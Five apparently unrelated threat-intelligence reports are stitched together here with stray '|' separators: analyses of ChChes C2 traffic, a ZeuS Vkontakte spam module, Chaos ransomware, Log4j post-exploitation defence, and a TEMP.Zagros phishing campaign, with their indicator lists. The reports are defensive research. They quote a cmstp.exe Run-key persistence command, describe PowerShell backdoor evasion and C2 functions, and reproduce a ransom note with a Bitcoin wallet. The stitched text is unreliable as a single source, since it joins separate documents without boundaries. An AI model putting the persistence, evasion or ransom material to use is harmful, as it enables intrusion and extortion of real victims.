ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules. There are only a few functions that ChChes can execute by itself. This means it expands its functions by receiving modules from C&C servers and loading them in memory.
The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead of GET.
```
GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: [user agent]
Host: [host name]
Connection: Keep-Alive
Cache-Control: no-cache
```
As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value can be decrypted using the below Python script.
```python
data_list = cookie_data.split(';')
dec = []
for i in range(len(data_list)):
tmp = data_list[i]
pos = tmp.find("=")
key = tmp[0:pos]
val = tmp[pos:]
md5 = hashlib.md5()
md5.update(key)
rc4key = md5.hexdigest()[8:24]
rc4 = ARC4.new(rc4key)
dec.append(rc4.decrypt(val.decode("base64"))[len(key):])
print("[*] decoded: " + "".join(dec))
```
### The First Request
The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with ‘A’. The following is an example of data sent. As indicated, the data which is sent contains information including computer name. The format of the encrypted data differs depending on ChChes’s version.
As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers (Response 1). The ID is contained in the Set-Cookie field.
### Request for Modules and Commands
Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following data starting with ‘B’ is encrypted and contained in the Cookie field.
```
B[ID to identify the infected machine]
```
As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. Commands are sent either together with modules as a single data or by itself. Afterward, execution results of the received command are sent to C&C servers, and it returns to the process to receive modules and commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be controlled remotely.
JPCERT/CC’s research has confirmed modules with the following functions, which are thought to be the bot function of ChChes:
- Encrypt communication using AES
- Execute shell commands
- Upload files
- Download files
- Load and run DLLs
- View tasks of bot commands
Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in AES on top of the existing encryption method.
### Summary
ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware.
The hash values of the samples demonstrated here are described in Appendix C. The malware’s destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts.
Thanks for reading.
- Yu Nakamura
(Translated by Yukako Uchida)
### Appendix A: Code Signing Certificate
The code signing certificate attached to some samples are the following:
```
$ openssl x509 -inform der -text -in mal.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
3f:fc:eb:a8:3f:e0:0f:ef:97:f6:3c:d9:2e:77:eb:b9
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
Validity
Not Before: Aug 5 00:00:00 2011 GMT
Not After : Aug 4 23:59:59 2012 GMT
Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 - Microsoft Software Validation v2, CN=HT Srl
```
### Appendix B: ChChes Version
The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers.
### Appendix C: SHA-256 Hash Value of the Samples ChChes
```
5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b
316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c
bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3
4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2
cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628
75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
```
### Appendix D: List of Communication Destination
```
area.wthelpdesk.com
dick.ccfchrist.com
kawasaki.cloud-maste.com
kawasaki.unhamj.com
sakai.unhamj.com
scorpion.poulsenv.com
trout.belowto.com
zebra.wthelpdesk.com
hamiltion.catholicmmb.com
gavin.ccfchrist.com
``` |
# Leveraging ZeuS to Send Spam Through Social Networks
We were able to analyze a pack to make zombies of ZeuS at spammers through social networks. Specifically, the module is analyzed developed for use in Vkontakte.ru, the Russian clone of Facebook. This crimeware has been created by someone calling himself Deex of Freedomscripts Team and sold for the modest price of USD 100 (via WebMoney).
The pack includes several configuration files, which make it:
- **config.ini**: has defined the target (friends or online, although so far only seems to work the first option) and password of the administrator control panel. When selecting friends, messages are sent to all our contacts, but are not online at that time.
- **message.txt**: contains the text of the message to send.
- **title.txt**: contains the title of the message to send.
- **results.txt**: here were keeping the infected user statistics (Vkontakte identifier, IP and number of messages sent).
- **webinjects.txt**: HTML code injected in the sitting of infected PCs sending spam trigger. The contents of that file should be added (or completely replace) the file of the same name necessary to build binaries of ZeuS, and then reconstruct the configuration file and the executable of ZeuS.
Once the victim's PC is infected with this executable, as well as sending a typical ZeuS reports, it will check the page you visited and if the addition of Vkontakte.ru and be in English (does not work in other languages), activate the injection of code in the page, which always maintains the appearance of authenticity. From that moment, all requests are processed by the HTML page that handles getconfig.php, later calling the real page to avoid suspicion, showing the user the actual content as they surf Vkontakte.ru its pages; while below, sends a message every time you click a link from the page js.php, as seen in the following snippet from log. The result can be seen in the sent items, where all messages that have been sending our contacts.
All this is managed from a panel of independent control of ZeuS, which requires no database to run, since configuration and reporting are in separate text files. The control panel is simple enough. It has a blank login page with a box to put the password that gives access to the panel itself, with a menu of 5 options:
- **Reports**: shows the result of sending spam. In our example, the ID has sent 20 messages from the specified IP.
- **Inject**: shows the code injection (webinjects.txt) and links to three pages responsible for performing tasks involving the shipment.
- **Settings**: From here you can manage the configuration files to change the password and set the title and body of the message to send. This data is stored in the configuration files mentioned above.
- **Help**: A brief page with some indication of what this pack and the two component parts: Inject and Admin.
- **Logout**: To exit the control panel.
In short, this package demonstrates how easy it is to take advantage of belonging to a botnet zombies under the control of ZeuS for the sending of messages through social networks. Although this case concerns only in the first instance, to Vkontakte.ru, adapting it to other social networks or using it for other attacks through web pages, such as making fraudulent clicks, would be pretty easy. |
# Chaos Ransomware v4
**Brian Stadnicki**
February 14, 2022
The chaos ransomware is fairly new, first appearing in June 2021 as a builder, offered on multiple darknet forums and marketplaces. It doesn’t appear to have been involved in any significant incidents yet; a few Minecraft players don’t count. Unsurprisingly therefore, the sample has not had a single transaction to the wallet. It isn’t very complicated, as likely a simple proof-of-concept ransomware. Simply a 32-bit .NET executable, with the ransom wallpaper base64 encoded in and completely unobfuscated with names.
## Analysis
The execution process is as follows:
- Make sure only copy running
- If not running from the temp folder, wait 10 seconds (anti-virus evasion)
- If not running as admin, copy itself to the roaming folder and run
- Add itself to the startup folder
- Delete itself, copy itself to the roaming folder and run
- Look for directories to encrypt (drives other than C:\ and common user directories)
- Recursively encrypt the files with the correct file extension and add a random file extension
- 2.2mb are AES encrypted
- Over 200mb are partly overwritten with random bytes
- In between are randomly overwritten
- Write a ransom note `read_it.txt` to the directory
If running as admin:
- Delete backups
- Disable recovery modes
- Delete backup catalog (record of where backups are)
- Spread to external drives by copying itself to drives which aren’t C:\
- Drop the ransom message and open in Notepad
- Set the wallpaper
- Change any bitcoin addresses in the clipboard
## IOC
Sample: `d9771a04128e50870a96bc7ac8605982205011b723810a04a3411a1ac7eba05d`
Names:
- `surprise.exe`
- `svchost.exe`
- `read_it.txt`
### Ransom message:
First of all, sorry. It's just business.
All your files have been encrypted. All your documents are unavailable.
The encryption was done using a secret key designed by our company.
In order to decrypt your files you must buy an exclusive key from us.
Do not reset or shutdown - files may be damaged.
Do not rename or move encrypted files - they may be lost forever.
Do not try to delete readme files - files may be damaged.
Please send $150k in Bitcoin to the following wallet:
`bc1qp94vpfjgm6z7fvcsa43cymjpyytweqjju9u7dp`
If you do not own Bitcoin yet, we suggest a quick Google search.
After 24 hours the payment will double. After 48 hours files will be deleted.
If you have a proposal within 2 hours you will get a discount, minimizing this tragic event so you can get back to work.
Please contact us via email: `[email protected]`
### File extensions infected:
`.txt`, `.jar`, `.dat`, `.contact`, `.settings`, `.doc`, `.docx`, `.xls`, `.xlsx`, `.ppt`, `.pptx`, `.odt`, `.jpg`, `.mka`, `.mhtml`, `.oqy`, `.png`, `.csv`, `.py`, `.sql`, `.mdb`, `.php`, `.asp`, `.aspx`, `.html`, `.htm`, `.xml`, `.psd`, `.pdf`, `.xla`, `.cub`, `.dae`, `.indd`, `.cs`, `.mp3`, `.mp4`, `.dwg`, `.zip`, `.rar`, `.mov`, `.rtf`, `.bmp`, `.mkv`, `.avi`, `.apk`, `.lnk`, `.dib`, `.dic`, `.dif`, `.divx`, `.iso`, `.7zip`, `.ace`, `.arj`, `.bz2`, `.cab`, `.gzip`, `.lzh`, `.tar`, `.jpeg`, `.xz`, `.mpeg`, `.torrent`, `.mpg`, `.core`, `.pdb`, `.ico`, `.pas`, `.db`, `.wmv`, `.swf`, `.cer`, `.bak`, `.backup`, `.accdb`, `.bay`, `.p7c`, `.exif`, `.vss`, `.raw`, `.m4a`, `.wma`, `.flv`, `.sie`, `.sum`, `.ibank`, `.wallet`, `.css`, `.js`, `.rb`, `.crt`, `.xlsm`, `.xlsb`, `.7z`, `.cpp`, `.java`, `.jpe`, `.ini`, `.blob`, `.wps`, `.docm`, `.wav`, `.3gp`, `.webm`, `.m4v`, `.amv`, `.m4p`, `.svg`, `.ods`, `.bk`, `.vdi`, `.vmdk`, `.onepkg`, `.accde`, `.jsp`, `.json`, `.gif`, `.log`, `.gz`, `.config`, `.vb`, `.m1v`, `.sln`, `.pst`, `.obj`, `.xlam`, `.djvu`, `.inc`, `.cvs`, `.dbf`, `.tbi`, `.wpd`, `.dot`, `.dotx`, `.xltx`, `.pptm`, `.potx`, `.potm`, `.pot`, `.xlw`, `.xps`, `.xsd`, `.xsf`, `.xsl`, `.kmz`, `.accdr`, `.stm`, `.accdt`, `.ppam`, `.pps`, `.ppsm`, `.1cd`, `.3ds`, `.3fr`, `.3g2`, `.accda`, `.accdc`, `.accdw`, `.adp`, `.ai`, `.ai3`, `.ai4`, `.ai5`, `.ai6`, `.ai7`, `.ai8`, `.arw`, `.ascx`, `.asm`, `.asmx`, `.avs`, `.bin`, `.cfm`, `.dbx`, `.dcm`, `.dcr`, `.pict`, `.rgbe`, `.dwt`, `.f4v`, `.exr`, `.kwm`, `.max`, `.mda`, `.mde`, `.mdf`, `.mdw`, `.mht`, `.mpv`, `.msg`, `.myi`, `.nef`, `.odc`, `.geo`, `.swift`, `.odm`, `.odp`, `.oft`, `.orf`, `.pfx`, `.p12`, `.pl`, `.pls`, `.safe`, `.tab`, `.vbs`, `.xlk`, `.xlm`, `.xlt`, `.xltm`, `.svgz`, `.slk`, `.tar.gz`, `.dmg`, `.ps`, `.psb`, `.tif`, `.rss`, `.key`, `.vob`, `.epsp`, `.dc3`, `.iff`, `.onepkg`, `.onetoc2`, `.opt`, `.p7b`, `.pam`, `.r3d` |
# The Log Keeps Rolling On: Evaluating Log4j Developments and Defensive Requirements
## Background
The information security world was turned upside down by the initial public disclosure of vulnerability CVE-2021-44228 in the Log4j application on December 10, 2021, colloquially referred to as “Log4Shell.” Subsequent investigation indicated initial exploitation of the Log4j application started in advance of public release, beginning as early as December 1 and proceeding through December 2. The following timeline provides an overview of events over the past few weeks.
Although covered by various entities near the time of initial release, including a previous Gigamon article on network observations and defensive guidance, circumstances continue to evolve related to Log4j exploitation activity. This blog seeks to update earlier observations and provide extended guidance for defenders and network owners.
## Trends Since Initial Release
Gigamon ATR observes several trends since initial disclosure of CVE-2021-44228:
1. Continued, high-volume scanning for CVE-2021-44228 by researchers and information security companies, as well as potential threat actors.
2. Expansion of use beyond cryptocurrency miner and botnet installation to access development and ransomware-related operations.
3. Increasing hype over the vulnerability as information concerning CVE-2021-44228 and other potential issues with Log4j spreads to more general audiences and non-technical decision-makers.
The combination of the above items results in a confusing and difficult landscape for security professionals and leaders. While weaponization of this vulnerability now extends to a broader set of more concerning adversaries, continued scanning and related activity generate significant noise, making identification of truly concerning exploitation attempts difficult. With the addition of more widespread awareness of the problem, security teams find themselves under increasing pressure to resolve issues in a chaotic, uncertain network environment.
To reduce confusion, the following represents a summary of key items of interest in Log4j activity since our initial publication on December 14.
## State-Directed Exploitation
Reported initially by Microsoft on December 14 and extending to other security vendors shortly thereafter, state-directed exploitation (commonly referred to as “APT” activity) of Log4j now appears alongside more opportunistic, less-targeted use. For defenders, it is important to note that this date represents the time of disclosure rather than the time of activity. While specific information unfortunately remains unavailable, the exploitation window means some adversaries had over a week to target this vulnerability before public disclosure.
Gigamon ATR anticipates that state-directed (and other) adversaries will continue to leverage this vulnerability for both initial access to victim networks and lateral movement opportunities following a breach. Identifying and patching vulnerable services remains critical, but defenders must also be diligent in pursuing post-exploitation activity and similar behaviors as Log4j exploitation extends to increasingly capable and stealthy adversaries.
While the above activity is concerning, state-directed operations will likely remain focused on access development and information gathering for the foreseeable future. Organizations may be concerned that CVE-2021-44228 could be used for a potentially destructive cyber incident, such as the 2017 NotPetya event. While the possibility exists, Gigamon ATR assesses any such use would be incidental to the vulnerability in question and highly unlikely to spread in an uncontrolled fashion like NotPetya.
Although some social media reports exist claiming “wormable” malware linked to Log4j exploitation may exist, further analysis of known payloads indicates reliance on static lists of targets or other critical dependencies that remove true worm-like functionality. Ultimately, Log4j exploitation requires reference to a known, hosted resource to distribute whatever payload is retrieved and executed by the exploit, presenting a critical barrier to effective weaponization for widespread disruptive purposes.
## Ransomware Operations
Likely more immediately critical to many organizations, ransomware-related entities appear to increasingly seek ways of using Log4j vulnerabilities to further operations. Starting on December 13, security firms identified possible attempts to use CVE-2021-44228 as part of ransomware distribution. These observations increased in subsequent days to include operations linked to entities working for or with ransomware distribution networks such as Conti.
Given the nature of the Log4j vulnerability, Gigamon ATR assesses that most ransomware operations will leverage this for developing initial access to targets instead of immediately deploying ransomware as part of exploitation. The general shift toward “big game” ransomware operations means that Log4j-focused deployment would be limited in scope if used directly. This observation is reflected in Conti-related activity, where Log4j appears used as an access vector to enable follow-on lateral movement within the network en route to mass distribution of ransomware in victim environments.
Log4j activity becomes concerning for ransomware defense given the relative ease of exploitation and ability to do so external to victim networks. Given the division of labor in modern ransomware operations, CVE-2021-44228 represents an opportunity to rapidly expand into a variety of potential victim networks. Such access may not be immediately utilized but instead sold to other entities who will then engage in more protracted infiltration of the victim network leading ultimately to ransomware deployment.
From a defender’s perspective, this activity is deeply concerning, but the sheer volume of activity may represent an opportunity as well. The overwhelming number of potential new access points for ransomware operators may buy defenders time in identifying such intrusions before they are handed over to other entities for follow-on actions. As with the previous section, prioritizing post-exploitation behavior identification along with attack surface reduction will be key both in minimizing future exploitation and in identifying existing adversary intrusions.
## Opportunistic Scanning
While defenders cope with the above threats, various organizations continue to scan, and at times exploit, CVE-2021-44228 for multiple purposes. On the benign side, vulnerability researchers and trackers continue to scope the extent and prevalence of vulnerable systems for reporting and analysis purposes. While not leading to any malicious activity, the subsequent network traffic provides opportunities for more malicious entities to “hide” while also burning out front-line defenders responding to alerts and alarms.
Gigamon has observed hundreds of thousands of instances of CVE-2021-44228 exploitation activity in just a 24-hour period within a monitored environment. Simply tracking scanning and exploitation attempts as individual alerts therefore becomes not just burdensome, but functionally impossible. Gigamon ATR anticipates this activity will continue, albeit at a lower level following initial sweeps post-disclosure, for the foreseeable future. As a result, defensive postures seeking to identify and alert on any instance of CVE-2021-44228 exploitation or probing will likely result in significant “noise” for security operations.
Defenders should therefore work to minimize rapid response to network traffic indicative of simply attempting Log4j exploitation. Instead, security personnel should focus on higher-fidelity analytic or composite alerting approaches linking such actions with higher-confidence observations, or focusing on post-exploit signs of activity across both host and network visibility.
## Mitigations and Defenses
Defenders face a variety of problems related to CVE-2021-44228. One item that especially causes problems in scoping and understanding this vulnerability is its indirect nature. For example, a vulnerable server need not be directly accessible for exploitation to occur. A vulnerable system needs only to receive communications or parse information using a vulnerable service for successful exploitation to take place.
Given this issue, simply prioritizing external-facing servers and applications for patching and defense is insufficient to address Log4j exploitation. Instead, defenders will need to identify subsequent communication links and dependencies to adequately reduce or eliminate attack surface. Defenders can take a variety of approaches to satisfy these needs.
### Patch — Or Wait?
The first and most obvious solution to this issue is to patch vulnerable systems. However, this approach has several problems:
1. The sheer volume of scanning and exploitation activity means that many organizations are likely already facing a compromised environment from earlier operations.
2. Patching Log4j instances directly only addresses code bases directly owned and maintained by the organization — multiple other vendors and application developers will need to patch their software to address nested use and system dependencies.
3. Log4j patching itself has become confusing with the release of multiple patches since CVE-2021-44228 identification.
Organizations that rushed to apply patches as soon as possible find themselves having to do the same thing again with each subsequent release. It is worth noting that only CVE-2021-44228 allows for remote code execution (RCE) in default configurations of Log4j, and is addressed in version 2.15 and completely resolved in 2.16 by disabling JNDI. Subsequent releases address other security concerns, but either of lower potential value or in non-default configurations.
Asset owners and network defenders are strongly encouraged to read and understand release notes from the development team to understand what post-2.16 patches address. Depending on specific circumstances, organizations may need only to be concerned with the 2.16 update, and can de-emphasize subsequent patches if CVE-2021-44228 and similar worries are already addressed.
Point #2 applies to systems and applications outside of the defender’s hands. Multiple third-party software suites and applications leverage Log4j either directly or indirectly for functionality. The patching cycles of these organizations will vary depending upon the complexity of the software and the resources allocated to identifying dependencies then fixing them. The result is organizations will likely deal with vulnerable applications for many weeks — if not months — to come as third parties work to address this issue.
That leads to Point #1, where organizations must come to terms with the likelihood that they will face an intrusion due to this vulnerability — if they have not been breached already. This approach requires vectoring defensive resources and monitoring to post-exploitation activity and behaviors to ensure layered defense.
## Post-Exploitation Monitoring
Most organizations will find themselves in the position of either dealing with intrusions already achieved via CVE-2021-44228 exploitation, or unable to completely mitigate exposure from this attack vector for many weeks if not months. Defenders thus find themselves in the unfortunate position of dealing with intruders that have already succeeded in gaining access to networks.
Defenders may find the exploitation route diagram insightful for this activity as it reveals multiple opportunities for post-exploit detection. Assuming Log4j exploitation “lands” on a supporting, internal server instead of directly impacting the device receiving the initial network traffic, adversaries are placed in what initially appears to be an advantageous position as they have already breached the perimeter.
Defenders can look for the following general behaviors to identify post-exploitation activity:
1. Identifying anomalous or unexpected traffic from an internal server (especially a high-value device such as a logging or related system) to an external resource.
2. Identifying remote authentication activity from an internal server to other hosts in the network instead of the reverse.
3. Monitoring for mass connectivity events, such as attempting to write to remote shares, scanning other systems, or attempting to remotely execute commands, from a server within the network.
The above items all rely on a degree of asset identification and role understanding. If an organization has already achieved some level of visibility and asset classification, powerful detection and defensive possibilities emerge for not only CVE-2021-44228 post-exploitation defense, but for entire categories of adversary tradecraft.
In addition to the general traffic items above, available information thus far indicates after initial exploitation via CVE-2021-44228, adversaries revert to more typical, and well-known, intrusion techniques. For example, the Conti-related intrusions discussed previously may use CVE-2021-44228 as a novel form of initial access, but then use existing tradecraft compromising VMWare vCenter systems to achieve follow-on lateral movement and network exploitation.
Even more direct instances of post-exploitation activity, such as recently-identified use of Log4j exploitation to install Dridex or Meterpreter, requires follow-on functionality for effectiveness. Monitoring for such activity across both host and network visibility can identify such suspicious sequences of behavior for investigation and further action.
## Visibility and Vigilance
Overall, CVE-2021-44228 and subsequent Log4Shell activity shows the necessity of ensuring visibility of network traffic flows and host operations. Organizations with robust insights into these items have several opportunities to identify and then respond to intrusions leveraging even a widespread, trivially exploited vulnerability such as that in earlier versions of Log4j.
Where such visibility is lacking, network defenders and decision-makers are at a loss for immediate events — but should use this long-running incident as an opportunity to influence and guide subsequent planning and investment. Essentially, CVE-2021-44228 is a terrible combination of accessibility and availability for a vulnerability, but it is not the first case of such activity, nor will it be the last.
By identifying appropriate lessons from this event and its weaponization by various threat actors, network defenders and other stakeholders can identify priorities for future security investments. This should start with ensuring that organizations possess the necessary visibility to determine what is happening within the network, and being able to answer questions such as what actions are taking place not just at the external network boundary but within the organization’s environment as well.
## Conclusions
CVE-2021-44228 represents a very concerning security issue with immediate repercussions. There are a variety of steps that security teams must take in the near term to address these challenges — but organizations and security leaders must also recognize that full response and mitigation of this vulnerability will likely require months of examination, patching, and continuous post-exploitation hunting to address.
The above observations and security advice represent general items applicable to all environments able to adequately view and aggressively query their network for signs of exploitation and follow-on activity. For organizations unable to implement this advice, this event should serve as a strong signal to begin implementing programs and procedures to improve insight into the defended environment so that administrators, defenders, and others can respond to and reduce the impact from the next major vulnerability to emerge.
Multiple stakeholders will be dealing with Log4j and its long tail of dependencies and installation instances through much of 2022. By continuously understanding how such a vulnerability is weaponized by attackers through intelligence and improving network visibility and monitoring through security operations, defenders can appropriately vector defenses to respond to these events and ensure that initial, potentially unavoidable breaches are quickly identified and removed.
Like most security operations, CVE-2021-44228 response will represent a test of long-term endurance and planning over months rather than a quickly realized sprint to security lasting a few days or weeks. The sooner network owners and defenders understand this approach, the better the overall community will be able to respond and begin mitigating this and similar future events. |
# Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign
**Introduction**
From January 2018 to March 2018, through FireEye’s Dynamic Threat Intelligence, we observed attackers leveraging the latest code execution and persistence techniques to distribute malicious macro-based documents to individuals in Asia and the Middle East. We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. The spear phishing emails and attached malicious macro documents typically have geopolitical themes. When successfully executed, the malicious documents install a backdoor we track as POWERSTATS.
One of the more interesting observations during the analysis of these files was the re-use of the latest AppLocker bypass and lateral movement techniques for the purpose of indirect code execution. The IP address in the lateral movement techniques was substituted with the local machine IP address to achieve code execution on the system.
## Campaign Timeline
In this campaign, the threat actor’s tactics, techniques and procedures (TTPs) shifted after about a month, as did their targets. A brief timeline of this activity is shown below.
The first part of the campaign (From Jan. 23, 2018, to Feb. 26, 2018) used a macro-based document that dropped a VBS file and an INI file. The INI file contains the Base64 encoded PowerShell command, which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe.
Although the actual VBS script changed from sample to sample, with different levels of obfuscation and different ways of invoking the next stage of the process tree, its final purpose remained the same: invoking PowerShell to decode the Base64 encoded PowerShell command in the INI file that was dropped earlier by the macro, and executing it.
The second part of the campaign (from Feb. 27, 2018, to March 5, 2018) used a new variant of the macro that does not use VBS for PowerShell code execution. Instead, it uses one of the recently disclosed code execution techniques leveraging INF and SCT files.
## Infection Vector
We believe the infection vector for all of the attacks involved in this campaign are macro-based documents sent as an email attachment. The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey, Pakistan, Tajikistan, and India.
Each of these macro-based documents used similar techniques for code execution, persistence, and communication with the command and control (C2) server.
## Indirect Code Execution Through INF and SCT
This scriptlet code execution technique leveraging INF and SCT files was recently discovered and documented in February 2018. The threat group in this recently observed campaign – TEMP.Zagros – weaponized their malware using the following techniques.
The macro in the Word document drops three files in a hard-coded path: C:\programdata. Since the path is hard-coded, the execution will only be observed in operating systems, Windows 7 and above. The following are the three files:
- Defender.sct – The malicious JavaScript based scriptlet file.
- DefenderService.inf – The INF file that is used to invoke the above scriptlet file.
- WindowsDefender.ini – The Base64 encoded and obfuscated PowerShell script.
After dropping the three files, the macro will set the following registry key to achieve persistence:
`\REGISTRY\USER\SID\Software\Microsoft\Windows\CurrentVersion\Run\"WindowsDefenderUpdater" = cmstp.exe /s c:\programdata\DefenderService.inf`
Upon system restart, cmstp.exe will be used to execute the SCT file indirectly through the INF file.
This method of code execution is performed in an attempt to evade security products. FireEye MVX and HX Endpoint Security technology successfully detect this code execution technique.
## SCT File Analysis
The code of the Defender.sct file is an obfuscated JavaScript. The main function performed by the SCT file is to Base64 decode the contents of the WindowsDefender.ini file and execute the decoded PowerShell Script.
## PowerShell File Analysis
The PowerShell script employs several layers of obfuscation to hide its actual functionality. In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine and can also shut down the system if it detects the presence of such tools.
Some of the key obfuscation techniques used are:
- Character Replacement: Several instances of character replacement and string reversing techniques make analysis difficult.
- PowerShell Environment Variables: Malware authors commonly mask critical strings such as “IEX” using environment variables.
- XOR encoding: The biggest section of the PowerShell script is XOR encoded using a single byte key.
After deobfuscating the contents of the PowerShell Script, we can divide it into three sections.
### Section 1
The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:
- TEMpPAtH = "C:\ProgramData\" (the path used for storing the temp files)
- Get_vAlIdIP = https://api.ipify.org/ (used to get the public IP address of the machine)
- FIlENAmePATHP = WindowsDefender.ini (file used to store PowerShell code)
- PRIVAtE = Private Key exponents
- PUbLIc = Public Key exponents
- Hklm = "HKLM:\Software\"
- Hkcu = "HKCU:\Software\"
- ValuE = "kaspersky"
- SYSID
- DrAGon_MidDLe = [array of proxy URLs]
### Section 2
The second section of the PowerShell script has the ability to perform encryption and decryption of messages that are exchanged between the system and the C2 server. The algorithm used for encryption and decryption is RSA, which leverages the public and private key exponents included in Section 1 of the PowerShell script.
### Section 3
The third section of the PowerShell script is the biggest section and has a wide variety of functionalities. During analysis, we observed a code section where a message written in Chinese and hard coded in the script will be printed in the case of an error while connecting to the C2 server. The English translation for this message is: “Cannot connect to website, please wait for dragon”.
Other functionalities provided by this section of the PowerShell Script are as follows:
- Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables:
- IP Address from Network Adapter Configuration
- OS Name
- OS Architecture
- Computer Name
- Computer Domain Name
- Username
All of this data is concatenated and formatted.
- Registers the victim’s machine to the C2 server by sending the REGISTER command to the server. In response, if the status is OK, then a TOKEN is received from the C2 server that is used to synchronize the activities between the victim’s machine and the C2 server.
- Ability to take screenshots.
- Checks for the presence of security tools and if any of these security tools are discovered, then the system will be shut down.
- Ability to receive PowerShell script from the C2 server and execute on the machine. Several techniques are employed for executing the PowerShell code:
- If command starts with “excel”, then it leverages DDEInitiate Method of Excel.Application to execute the code.
- If the command starts with “outlook”, then it leverages Outlook.Application and MSHTA to execute the code.
- If the command starts with “risk”, then execution is performed through DCOM object.
- File upload functionality.
- Ability to disable Microsoft Office Protected View by setting the following keys in the Windows Registry:
- DisableAttachmentsInPV
- DisableInternetFilesInPV
- DisableUnsafeLocationsInPV
- Ability to remotely reboot or shut down or clean the system based on the command received from the C2 server.
- Ability to sleep for a given number of seconds.
## Conclusion
This activity shows us that TEMP.Zagros stays up-to-date with the latest code execution and persistence mechanism techniques, and that they can quickly leverage these techniques to update their malware. By combining multiple layers of obfuscation, they deter the process of reverse engineering and also attempt to evade security products. Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros in documents, even if such documents are from seemingly trusted sources.
## Indicators of Compromise
### Macro based Documents and Hashes
| SHA256 Hash | Filename | Targeted Region |
|-------------|----------|------------------|
| eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894 | na.doc | Pakistan |
| 76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338 | Invest in Turkey.doc | Turkey |
| 6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac | güvenlik yönergesi.doc | Turkey |
| 009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0 | idrbt.doc | India |
| 18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6 | Türkiye Cumhuriyeti Kimlik Kartı.doc | Turkey |
| 3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb | Turkish Armed Forces.doc | Turkey |
| 9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c | na.gov.pk.doc | Pakistan |
| 3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115 | MVD-FORM-1800.doc | Tajikistan |
| cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88 | KEGM-CyberAttack.doc | Turkey |
